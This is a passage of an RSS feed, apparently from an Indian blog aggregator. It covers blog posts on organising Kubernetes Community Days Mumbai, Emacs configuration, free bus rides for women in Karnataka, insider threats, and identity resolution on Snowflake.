            <link>https://www.divyamohan.com/blog-bts-community-event-part-2/</link>
            <guid isPermaLink="false">https://www.divyamohan.com/blog-bts-community-event-part-2/</guid>
            <pubDate>Fri, 07 Jul 2023 08:05:48 GMT</pubDate>
            <description><![CDATA[In the first part of the series, I discussed our why behind organizing a community-driven event that was also the very first edition of Kubernetes Community Days in Mumbai. In this post, we'll dive into the juicy bits of how we went about setting the stage (very literally)]]></description>
            <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/07/4febb36e-1286-49cf-9275-90b9b5eca6d8.jpg" alt="Behind the scenes of organising a community-driven event - part 2"><p>In the first part of the series, I discussed our why behind organizing a community-driven event that was also the very first edition of Kubernetes Community Days in Mumbai. In this post, we&apos;ll dive into the juicy bits of <strong>how</strong> we went about setting the stage (very literally) for the event.</p><h3 id="our-partners">Our partners</h3><p>While curating a community event, partnering with likeminded folks is <strong>EXTREMELY</strong> important - whether it be sponsors, vendors, community collaborators, volunteers, or even organizers. Lack of a shared vision impedes the way you go about planning and executing the event. As organisers, this is a lesson that we were lucky to have learned fairly early on in the process.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/07/Screenshot-2023-07-07-at-12.42.42-PM.png" class="kg-image" alt="Behind the scenes of organising a community-driven event - part 2" loading="lazy" width="1260" height="938" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/07/Screenshot-2023-07-07-at-12.42.42-PM.png 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/07/Screenshot-2023-07-07-at-12.42.42-PM.png 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/07/Screenshot-2023-07-07-at-12.42.42-PM.png 1260w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Source: https://kcdmumbai.com</span></figcaption></figure><p>I will not delve into the details of how we faced issues on this front from certain actors in the ecosystem.</p><p>However, what really helped us despite all these setbacks was dividing &amp; delegating responsibilities amongst the organizing team. This also helped us to play to our strengths &amp; do the work we were each taking responsibility for, well. Since we all were working day jobs and had other external commitments that we were juggling along with organizing the event, <strong>staying on</strong> 24*7 would result in us spiralling into burnout. That situation wouldn&apos;t have been ideal from a personal or professional standpoint and is something I have <a href="https://youtu.be/UIU8qZWL3Io">talked about</a> in a previous KubeCon session.</p><h3 id="our-schedule">Our schedule</h3><p>Speaking of sessions, as co-organizers our top priority was to deliver as much value as possible within 9 hours. This is reflected well in the schedule we created, with a good mix of different formats.</p><p>But getting to that point from scratch wasn&apos;t the easiest ride. Infact, I&apos;ll be the first one to admit this - <strong>curating a schedule is the most difficult part of putting together an event</strong>. </p><p>We received over 150 proposals for a <strong>9-hour event</strong>. Yep, you read that right. <strong>150 proposals</strong>! &#x1F92F;</p><p>While deliberating on what would and wouldn&apos;t make the cut, over and above the diversity in content we also had to ensure that we had diversity in representation at the event - in terms of </p><ol><li>speaker gender, </li><li>professional experience, </li><li>speaking experience etc. </li></ol><p>Being a female in tech myself, this is something I am very keen on ensuring for really selfish purposes -  that of having other women &amp; non-males in the room and in the speaker slots. </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/07/Fy1sP4PakAAxsuz.jpeg" class="kg-image" alt="Behind the scenes of organising a community-driven event - part 2" loading="lazy" width="2000" height="1500" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/07/Fy1sP4PakAAxsuz.jpeg 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/07/Fy1sP4PakAAxsuz.jpeg 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1600/2023/07/Fy1sP4PakAAxsuz.jpeg 1600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/07/Fy1sP4PakAAxsuz.jpeg 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">(some of) The women at KCD Mumbai</span></figcaption></figure><p>Unfortunately, despite some of the really cool proposals that were sent our way, we were able to select only 20, i.e. <strong>13.33% of the total CfPs we received, </strong>keeping all of the aforementioned criteria in mind. </p><p>Of course, the above statistic <strong>does not include</strong> the slots we reserved for sponsors which formed <strong>~26%</strong> of our curated schedule. </p><h3 id="wouldve-couldve-shouldve">Would&apos;ve, could&apos;ve, should&apos;ve...</h3><p>Looking back, there were several things, we could have done better. In this very context, there&apos;s a thread I penned yesterday with some thoughts about multiple conferences within the same region. You can check it out <a href="https://twitter.com/Divya_Mohan02/status/1676842425032032256?s=20">here</a>.</p><p>But that is a discussion to be had among a larger audience. However, being a perfectionist (I have been <em>working</em> <em>on</em> this post for 1.5 weeks before hitting the publish button today), it was extremely difficult for me to not have things go &quot;<strong>per plan</strong>&quot; on the day of and leading up to the event. Whether it be last minute glitches despite testing everything in advance or unforeseen delays, I probably should have accepted my fate (and <a href="https://en.wikipedia.org/wiki/Murphy%27s_law">Murphy&apos;s law</a>). </p><p>This is why, as retrospective actionable measures, not only will we be publishing an <strong>event transparency report</strong> with relevant statistics but also will be seeking <strong>feedback</strong> from <strong>all attendees</strong> regarding their event experience. </p><p>Not only will this help us improve the next conference experience for everyone but it also gives us the opportunity to learn from the community what they&apos;d like to see more of. </p><p>So I&apos;ll cap this post off with a request, as co-organizers, we look forward to seeing your responses on the feedback survey that we&apos;ll be sending out shortly. Please consider sparing a couple of minutes to respond to the email that you receive so that we can ensure y&apos;all have an improved KCD in 2024 to look forward to!</p><p><em>This is the second in a series of posts around organizing </em><a href="https://kcdmumbai.com"><em>KCD Mumbai</em></a><em>. Read the first part </em><a href="https://www.divyamohan.com/bts-community-event/"><em>here</em></a><em>.</em></p>]]></content:encoded>
            <author>Divya Mohan</author>
            <category>Open Source</category>
            <category>KCD Mumbai</category>
            <category>Community</category>
            <category>Blog</category>
            <enclosure url="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/07/4febb36e-1286-49cf-9275-90b9b5eca6d8.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Emerging from dotemacs bankruptcy the hard way: package management]]></title>
            <link>https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-packages/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-packages/index.html</guid>
            <pubDate>Thu, 06 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elpa, Melpa, git repo. Vendor package straight from source. It compiled? Fetch some more! Elpa, Melpa, git repo. In more adult terms, we learn to use use-package to fetch, install, initialise, configure useful packages that enhance our Emacs experience.]]></description>
            <content:encoded><![CDATA[Elpa, Melpa, git repo. Vendor package straight from source. It compiled? Fetch some more! Elpa, Melpa, git repo. In more adult terms, we learn to use use-package to fetch, install, initialise, configure useful packages that enhance our Emacs experience.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>emacs</category>
            <category>howto</category>
            <category>recurse_center</category>
        </item>
        <item>
            <title><![CDATA[Emerging from dotemacs bankruptcy the hard way: init begins]]></title>
            <link>https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-init-begins/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-init-begins/index.html</guid>
            <pubDate>Tue, 04 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The first action must, of course, be to colour the bikeshed and set some decent defaults.]]></description>
            <content:encoded><![CDATA[The first action must, of course, be to colour the bikeshed and set some decent defaults.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>emacs</category>
            <category>howto</category>
            <category>recurse_center</category>
        </item>
        <item>
            <title><![CDATA[Emerging from dotemacs bankruptcy the hard way: Prelude]]></title>
            <link>https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy/index.html</guid>
            <pubDate>Thu, 29 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Or, finally biting the bullet to redesigning my developerly and writerly experience, from the ground up, with Emacs.]]></description>
            <content:encoded><![CDATA[Or, finally biting the bullet to redesigning my developerly and writerly experience, from the ground up, with Emacs.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>emacs</category>
            <category>howto</category>
            <category>recurse_center</category>
        </item>
        <item>
            <title><![CDATA[Free bus rides for women: What change do they bring?]]></title>
            <link>https://ravidwivedi.in/posts/what-do-free-bus-rides-for-women-do/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/what-do-free-bus-rides-for-women-do/</guid>
            <pubDate>Mon, 26 Jun 2023 19:30:50 GMT</pubDate>
            <description><![CDATA[Recently, I read news about Karnataka state government announcing free bus rides for women in the state. It was in the Indian National Congress’ pre-election guarantee, so no big surprise on the announcement. I wondered what changes this announcement makes in terms of people’s lives, even when the Delhi government announced such a scheme earlier. I thought such a decision is far from attaining any real goals of women safety and is only an easy way for politicians to earn some goodwill in the name of gender equality, rather than doing any long term work for gender equality. Earlier when I saw advertisements of providing free bus tickets by the Delhi government, they never mentioned any claims on what this move is intended for. One thing I could infer was that greater number of women going out may impact safety, but I was overall not sure on what this policy achieves.
I got a new perspective on the issue when, a couple of days ago, I read an article by The Guardian on the same topic. Then I found another article with similar arguments in the Indian Express. Later I read a report in the Times of India on how free bus ride scheme helped women in Chennai. These writeups shed light on the benefits of free bus rides to women which I could not think of myself (shows my ignorance:( ).
You can click on the links of the articles and read them there. But I will summarize here: In India, many women rely on family males for money (which is also used as a form of control) and so they have to rely on their savings to travel. I also had misconception, due to the scheme’s counterpart in Delhi, that the fares of city buses are not much to make a real difference. But in the Karnataka case they are. I know from my experience that Karnataka’s capital city Bengaluru has expensive public transport compared to other Indian cities. For example, bus fare from Bengaluru Airport to Satellite Bus station, which is also in Bengaluru, was 246 Indian Rupees six years ago, and I have never seen such a high price in a city bus run by government within any other Indian city. Also, due to scheme being available in the whole state, which I somehow overlooked, women will be able to get free rides for which they would have to pay huge amount otherwise. This will boost their savings, ease travel for women, increase the number of women in public transport leading to even more women travelling in buses. It is also expected to increase women participation in labour which matters in a country where women labour participation is very low. Obviously, such a scheme also needs to be evaluated in terms of economic terms and bigger picture of state finances, but the point is that the scheme has a lot of potential and upsides, where I struggled to find any.]]></description>
            <content:encoded><![CDATA[<p>Recently, I read news about <a href="https://en.wikipedia.org/wiki/Karnataka">Karnataka</a> state government <a href="https://indianexpress.com/article/cities/bangalore/free-bus-travel-for-women-in-karnataka-from-today-congress-govt-shakti-scheme-8657193/">announcing</a> free bus rides for women in the state. It was in the Indian National Congress’ pre-election guarantee, so no big surprise on the announcement. I wondered what changes this announcement makes in terms of people’s lives, even when the Delhi government <a href="https://www.hindustantimes.com/cities/free-travel-for-women-kicks-off-on-tuesday/story-l3so44ZLbVtz13tGMDVyoM.html">announced</a> such a scheme earlier. I thought such a decision is far from attaining any real goals of women safety and is only an easy way for politicians to earn some goodwill in the name of gender equality, rather than doing any long term work for gender equality. Earlier when I saw advertisements of providing free bus tickets by the Delhi government, they never mentioned any claims on what this move is intended for. One thing I could infer was that greater number of women going out may impact safety, but I was overall not sure on what this policy achieves.</p>
<p>I got a new perspective on the issue when, a couple of days ago, I read <a href="https://www.theguardian.com/world/2023/jun/26/ticket-to-freedom-free-bus-rides-for-women-spark-joy-for-millions-in-karnataka">an article</a> by The Guardian on the same topic. Then I found another article with similar arguments in the <a href="https://indianexpress.com/article/cities/bangalore/karnataka-free-bus-ride-women-siddaramaiah-8659197/">Indian Express</a>. Later I read a <a href="https://timesofindia.indiatimes.com/city/chennai/how-free-bus-ride-helps-chennai-women-save-8-12-income/articleshow/95775524.cms">report</a> in the Times of India on how free bus ride scheme helped women in Chennai. These writeups shed light on the benefits of free bus rides to women which I could not think of myself (shows my ignorance:( ).</p>
<p>You can click on the links of the articles and read them there. But I will summarize here: In India, many women rely on family males for money (which is also used as a form of control) and so they have to rely on their savings to travel. I also had misconception, due to the scheme’s counterpart in Delhi, that the fares of city buses are not much to make a real difference. But in the Karnataka case they are. I know from my experience that Karnataka’s capital city Bengaluru has expensive public transport compared to other Indian cities. For example, bus fare from Bengaluru Airport to Satellite Bus station, which is also in Bengaluru, was 246 Indian Rupees six years ago, and I have never seen such a high price in a city bus run by government within any other Indian city. Also, due to scheme being available in the whole state, which I somehow overlooked, women will be able to get free rides for which they would have to pay huge amount otherwise. This will boost their savings, ease travel for women, increase the number of women in public transport leading to even more women travelling in buses. It is also expected to increase women participation in labour which matters in a country where women labour participation is <a href="https://thewire.in/economy/why-the-drop-in-indias-labour-participation-rate-cant-be-ignored-by-policymakers">very low</a>. Obviously, such a scheme also needs to be evaluated in terms of economic terms and bigger picture of state finances, but the point is that the scheme has a lot of potential and upsides, where I struggled to find any.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Behind the scenes of organising a community-driven event - part 1]]></title>
            <link>https://www.divyamohan.com/blog-bts-community-event/</link>
            <guid isPermaLink="false">https://www.divyamohan.com/blog-bts-community-event/</guid>
            <pubDate>Thu, 22 Jun 2023 06:14:32 GMT</pubDate>
            <description><![CDATA[I'll be the first one to admit - I had absolutely no plans of writing anything about organizing community-driven events. After all, organizing one (and helping co-organize another, as a volunteer) didn't make me an expert. 

Additionally, as far as I was concerned, there was nothing]]></description>
            <content:encoded><![CDATA[<p>I&apos;ll be the first one to admit - I had absolutely no plans of writing anything about organizing community-driven events. After all, organizing one (and helping co-organize another, as a volunteer) didn&apos;t make me an expert. </p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/image-1-1.png" class="kg-image" alt loading="lazy" width="1080" height="1080" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/06/image-1-1.png 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/06/image-1-1.png 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/image-1-1.png 1080w" sizes="(min-width: 720px) 720px"></figure><p>Additionally, as far as I was concerned, there was nothing new I could add that my co-organizers, <a href="https://twitter.com/SaiyamPathak">Saiyam</a>, <a href="https://twitter.com/ghumare64">Rohit</a>, <a href="https://twitter.com/HowDevelop">Shivay</a>, and I hadn&apos;t already said at the event or in our posts on social media</p><p>However, as I was sifting through the love we received on social media over the past week, I saw <a href="https://twitter.com/rberrelleza/status/1669747357725110273?s=20">this tweet</a> by <a href="https://twitter.com/rberrelleza">Ramiro Berrelleza</a>, founder of <a href="https://twitter.com/OktetoHQ">Okteto</a>. </p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/Screenshot-2023-06-22-at-8.00.40-AM.png" class="kg-image" alt loading="lazy" width="1198" height="314" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/06/Screenshot-2023-06-22-at-8.00.40-AM.png 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/06/Screenshot-2023-06-22-at-8.00.40-AM.png 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/Screenshot-2023-06-22-at-8.00.40-AM.png 1198w" sizes="(min-width: 720px) 720px"></figure><p>While we&apos;ve all given thanks to the people who partnered with us and posted <a href="https://twitter.com/KcdMumbai/status/1671385097965281281?s=20">really nice photos</a>, nobody had ever shone light on the blood, sweat, and tears that went behind putting together the event from scratch. And this was the moment a light bulb went off in my head. </p><p>I know, I know, this story is less fascinating than how a certain Mr. Archimedes discovered buoyancy.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/a8t8_sfka_211224.jpg" class="kg-image" alt loading="lazy" width="2000" height="1965" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/06/a8t8_sfka_211224.jpg 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/06/a8t8_sfka_211224.jpg 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1600/2023/06/a8t8_sfka_211224.jpg 1600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w2400/2023/06/a8t8_sfka_211224.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><a href="https://www.freepik.com/free-vector/archimedes-bath-cartoon-with-word-eureka_23722556.htm#query=archimedes&amp;position=0&amp;from_view=keyword&amp;track=sph">Image by brgfx</a> on Freepik</figcaption></figure><p>But, it honestly is how the post you&apos;re reading came to be. I intend for this BTS to be a series because there&apos;s way too much content to fit into a single post. </p><p>So, let&apos;s start with the basics, shall we?</p><h3 id="the-why">The why<br></h3><p>If you&apos;ve ever heard me talk/present, I normally start by discussing why I chose to speak about the topic at hand. Nothing to do with Simon Sinek&apos;s <a href="https://www.google.co.in/books/edition/Start_With_Why/r2yCRUxo0EYC?hl=en&amp;gbpv=1&amp;printsec=frontcover">bestselling book</a>, of course. I&apos;m just a rambler &amp; a highly anxious person who <strong>LOVES</strong> to justify and that is exactly how we&apos;ll be starting off this series - by looking at the why behind <a href="https://kcdmumbai.com">KCD Mumbai</a>.</p><p>So, for anyone who has heard about India or lived in India, you&apos;d know that the hub for everything tech is Bengaluru. It is a lovely city with some very tasty food (Ghee roast &amp; filter coffee at <a href="http://www.mavallitiffinrooms.com">MTR</a>, anybody?) and <strong>GREAT</strong> weather.</p><p>Other emerging tech hubs in India with a lot of startup action &amp; MNC operations are the cities of Pune &amp; Hyderabad.</p><p>Contrast these options with Mumbai, which is also a metropolitan city, has a humid climate, is crowded, and is not really renowned for its tech scene; and the &#xA0;question arises, <strong>why Mumbai? </strong></p><p>As advocates for cloud native technologies at our day jobs &amp; outside of it, teaming up with <a href="https://community.cncf.io/kcd-bengaluru/">KCD Bengaluru</a> or <a href="https://www.kcdchennai.in">KCD Chennai</a> would have been our best bet. We would not need to compete for company sponsorships in these economic conditions &amp; we&apos;d also probably be able to reach our target audience better since they work in and around these cities. </p><p>However, if I could sum up our rationale behind hosting Kubernetes Community Days in Mumbai in a single word, it would be <strong>accessibility</strong>. As organizers, we wanted to host an event replete with international speakers, sponsors etc. that folks from other parts of the country, <strong>especially tier-2 &amp; tier-3 cities</strong>, were able to attend. </p><p>Now Mumbai might not be endowed with great weather, but one thing that it does boast of is connectivity to <strong>almost</strong> all other Indian cities - by flight, road, or rail.</p><p>By hosting this event in Mumbai, not only did we want to encourage people from other parts of the country to attend such events, but we also hoped to encourage attendees to spin up local chapters in their respective cities by example. Of course, we wouldn&apos;t expect you to believe what we say without demonstrating it!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/image.png" class="kg-image" alt loading="lazy" width="1796" height="1198" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/06/image.png 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/06/image.png 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1600/2023/06/image.png 1600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/image.png 1796w" sizes="(min-width: 720px) 720px"><figcaption>Make cloud native ubiquitous, amirite?</figcaption></figure><p>This is not to diss the efforts of any other Kubernetes Community Days being hosted in India. As a matter of fact, we hope that by attending events like these, more folks are inspired to come forth, engage with the cloud native &amp; open source ecosystems, and spin up local tech scenes of their own. </p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/image-1.png" class="kg-image" alt loading="lazy" width="1790" height="1198" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/06/image-1.png 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/06/image-1.png 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1600/2023/06/image-1.png 1600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/06/image-1.png 1790w" sizes="(min-width: 720px) 720px"></figure><p>Also, with this event, we wanted to reinstate the message that you&apos;ve probably heard ever so often from different people, &quot;<strong>Open source contributions aren&apos;t just about code</strong>.&quot; While I&apos;m a documentation maintainer for the Kubernetes project and a CNCF ambassador, there were folks in the volunteering &amp; organizing team who chose to (succesfully) engage with and contribute to the ecosystem in ways other than code &amp; documentation. </p><p>Once we had narrowed down our &quot;<strong>why</strong>&quot; , it also helped us find our <strong>where and who (</strong>more on that later<strong>). </strong>With this<strong> </strong><a href="https://github.com/cncf/kubernetes-community-days/issues/463">GitHub issue</a> , we took the first step toward formalizing our intent and get the ball rolling for further discussion. In the next post, I intend to delve into the <strong>juicy</strong> details of the areas we, as organisers, had to focus on to put together this event from scratch - sponsorship,volunteers, swag, et al.</p><p>But before I end this post, if you or anyone you know was inspired by KCD Mumbai/any other CNCF event and you&apos;d like to host one locally, please do check out the <a href="https://community.cncf.io">CNCF Community Groups page</a>. There are a bunch of fantastic resources for you to get started and help with making cloud native (and open source) ubiquitous.</p>]]></content:encoded>
            <author>Divya Mohan</author>
            <category>Open Source</category>
            <category>KCD Mumbai</category>
            <category>Community</category>
        </item>
        <item>
            <title><![CDATA[Why Indian Companies Are More Vulnerable To Insider Threats]]></title>
            <link>https://shrirangkahale.com/posts/insider-threat/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/insider-threat/</guid>
            <pubDate>Wed, 21 Jun 2023 13:00:50 GMT</pubDate>
            <description><![CDATA[What exactly are Insider Threats? An insider threat is a perceived threat to an organization that comes from people within the organization, such as employees, former employees, contractors or business associates, who have inside information concerning the organization’s security practices, data and computer systems. The threat may involve fraud, the theft of confidential or commercially valuable information, the theft of intellectual property, or the sabotage of computer systems.
Think of it like this: Let’s say some organisation has a super secure facility, with huge perimeter walls, barbed wires, cameras everywhere.]]></description>
            <content:encoded><![CDATA[What exactly are Insider Threats? An insider threat is a perceived threat to an organization that comes from people within the organization, such as employees, former employees, contractors or business associates, who have inside information concerning the organization&rsquo;s security practices, data and computer systems. The threat may involve fraud, the theft of confidential or commercially valuable information, the theft of intellectual property, or the sabotage of computer systems.
Think of it like this: Let&rsquo;s say some organisation has a super secure facility, with huge perimeter walls, barbed wires, cameras everywhere.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[What have you been curious about?]]></title>
            <link>https://www.evalapply.org/posts/what-have-you-been-curious-about/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/what-have-you-been-curious-about/index.html</guid>
            <pubDate>Wed, 21 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Arguably a more interesting, revealing, and kinder question than "What are you curious about?"]]></description>
            <content:encoded><![CDATA[Arguably a more interesting, revealing, and kinder question than "What are you curious about?"]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
        </item>
        <item>
            <title><![CDATA[Building Identity Resolution on Snowflake Using Snowpark]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/building-identity-resolution-on-snowflake</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/building-identity-resolution-on-snowflake</guid>
            <pubDate>Mon, 19 Jun 2023 12:32:35 GMT</pubDate>
            <description><![CDATA[Crossing boundaries of languages and technologies to get stuff done.]]></description>
            <content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img src="https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" width="2520" height="2448" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:2448,&quot;width&quot;:2520,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;silver and diamond studded cross pendant&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="silver and diamond studded cross pendant" title="silver and diamond studded cross pendant" srcset="https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1613481950732-c1dcddcb410e?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHwyfHxzbm93Zmxha2V8ZW58MHx8fHwxNjg3MTc2ODY2fDA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw" 